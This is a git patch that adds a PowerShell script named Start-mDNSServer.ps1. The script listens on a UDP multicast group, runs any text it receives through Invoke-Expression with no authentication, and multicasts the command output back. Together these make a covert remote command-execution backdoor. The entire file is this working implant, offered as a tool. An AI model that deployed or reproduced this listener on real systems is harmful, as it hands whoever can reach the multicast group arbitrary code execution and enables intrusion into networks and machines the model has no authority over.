From b96a9bc34aaccbb7ac45b0dd682adc77219281f8 Mon Sep 17 00:00:00 2001
From: Steve Borosh <rvrsh3ll@users.noreply.github.com>
Date: Tue, 7 Nov 2017 21:00:58 -0500
Subject: [PATCH] Create Start-mDNSServer.ps1

---
 Start-mDNSServer.ps1 | 68 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 68 insertions(+)
 create mode 100644 Start-mDNSServer.ps1

diff --git a/Start-mDNSServer.ps1 b/Start-mDNSServer.ps1
new file mode 100644
index 0000000..28e7251
--- /dev/null
+++ b/Start-mDNSServer.ps1
@@ -0,0 +1,68 @@
+function Start-mDNSServer {
+    <#
+    .SYNOPSIS
+    Start the server
+    .DESCRIPTION
+    Listen for mDNS Commands
+    .EXAMPLE
+    Start-mDNSServer
+    .PARAMETER MultiCastGroup
+    The Multicast Group to listen on
+    .PARAMETER MultiCastPort
+    The port to listen for UDP packets
+    #>
+    [CmdletBinding()]
+    Param (
+        [Parameter(Mandatory = $false, Position = 0)]
+        [String]
+        $MultiCastGroup = "224.1.1.1",
+
+        [Parameter(Mandatory = $false, Position = 1)]
+        [String]
+        $MultiCastPort = 51111,
+
+        [Parameter(Mandatory = $false, Position = 1)]
+        [String]
+        $BindPort = 51112
+    )
+    Begin {
+        
+    }
+    Process {      
+        While($True) {   
+            Try {
+                $udp_client = New-Object System.Net.Sockets.UdpClient
+                $udp_client.ExclusiveAddressUse = $False
+                $LocalEndPoint = New-Object System.Net.IPEndPoint([ipaddress]::Any,$MultiCastPort)
+                $udp_client.Client.SetSocketOption([System.Net.Sockets.SocketOptionLevel]::Socket, [System.Net.Sockets.SocketOptionName]::ReuseAddress,$true)
+                $udp_client.ExclusiveAddressUse = $False
+                $udp_client.Client.Bind($LocalEndPoint)
+                $multicast_group = [IPAddress]::Parse($MultiCastGroup)
+                $udp_client.JoinMulticastGroup($multicast_group)
+                $receivebytes = $udp_client.Receive([ref]$LocalEndPoint)
+                If ($receivebytes) {
+                    $receive_data = ([text.encoding]::ASCII).GetString($receivebytes)
+                    $command_results = (Invoke-Expression -Command $receive_data 2>&1 | Out-String )
+                    $udp_client.Close()
+                    $udp_client = new-Object System.Net.Sockets.UdpClient $BindPort
+                    $multicast_group = [IPAddress]$MultiCastGroup
+                    $udp_client.JoinMulticastGroup($multicast_group)
+                    $enc = [system.Text.Encoding]::UTF8
+                    $response_packet = $enc.GetBytes($command_results) 
+                    $endpoint = New-Object Net.IPEndpoint([IPAddress]$MultiCastGroup,$MultiCastPort)
+                    $udp_client.Connect($endpoint)
+                    $udp_client.Send($response_packet,$response_packet.Length) |Out-Null
+                    $udp_client.Close()
+                    continue
+                }
+            }
+            Catch {
+            $ErrorMessage = $_.Exception.Message
+            $FailedItem = $_.Exception.ItemName
+            }
+        } 
+    }
+    End {
+        $udp_client.Close()
+    }
+}